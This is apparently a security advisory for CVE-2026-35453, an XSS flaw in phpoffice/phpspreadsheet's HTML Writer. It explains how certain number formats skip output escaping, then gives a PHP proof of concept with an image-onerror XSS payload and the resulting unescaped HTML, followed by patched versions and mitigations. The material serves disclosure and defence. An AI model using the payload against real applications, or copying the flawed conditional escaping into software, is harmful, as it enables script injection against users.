CVE-2026-35453 — phpspreadsheet
CVE-2026-35453 is a Cross-site Scripting (XSS) vulnerability in phpoffice/phpspreadsheet. A fix is available for phpoffice/phpspreadsheet — see the affected versions and patch details below.
PhpSpreadsheet XSS via number format text substitution in HTML Writer
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35453.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheetReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.
Details
1. Conditional escaping in Html.php:1586-1594
$cellData = NumberFormat::toFormattedString(
$origData2,
$formatCode ?? NumberFormat::FORMAT_GENERAL,
[$this, 'formatColor']
);
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}
htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.
2. Early return in Formatter.php:136-152
if (preg_match(self::SECTION_SPLIT, $format) === 0
&& preg_match(self::SYMBOL_AT, $formatx) === 1) {
if (!str_contains($format, '"')) {
return str_replace('@', /* raw value */, $format);
}
return str_replace(/* ... preg_replace with raw value ... */);
}
When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.
PoC
test.php
<?php
require '/app/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
$payload = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();
file_put_contents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";
The produced output contains unescaped data.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
<title>Untitled Spreadsheet</title>
<meta name="author" content="Unknown Creator" />
<meta name="title" content="Untitled Spreadsheet" />
<meta name="lastModifiedBy" content="Unknown Creator" />
<meta name="created" content="2026-04-02T16:34:44+00:00" />
<meta name="modified" content="2026-04-02T16:34:44+00:00" />
<style type="text/css">
[..SNIP..]
</style>
</head>
<body>
<div style='page: page0'>
<table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
<col class="col0" />
<tbody>
<tr class="row0">
<td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
</tr>
</tbody></table>
</div>
</body>
</html>
Impact
The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 4.0.0&&< 5.7.0 | 5.7.0composer require phpoffice/phpspreadsheet:^5.7.0 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 3.3.0&&< 3.10.5 | 3.10.5composer require phpoffice/phpspreadsheet:^3.10.5 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.4.5 | 2.4.5composer require phpoffice/phpspreadsheet:^2.4.5 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.16 | 2.1.16composer require phpoffice/phpspreadsheet:^2.1.16 |
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.30.4composer require phpoffice/phpspreadsheet:^1.30.4 |
Affected Products
phpspreadsheetphpofficeDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35453 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-35453 in your dependencies?
Find it across Packagist, including transitive dependencies.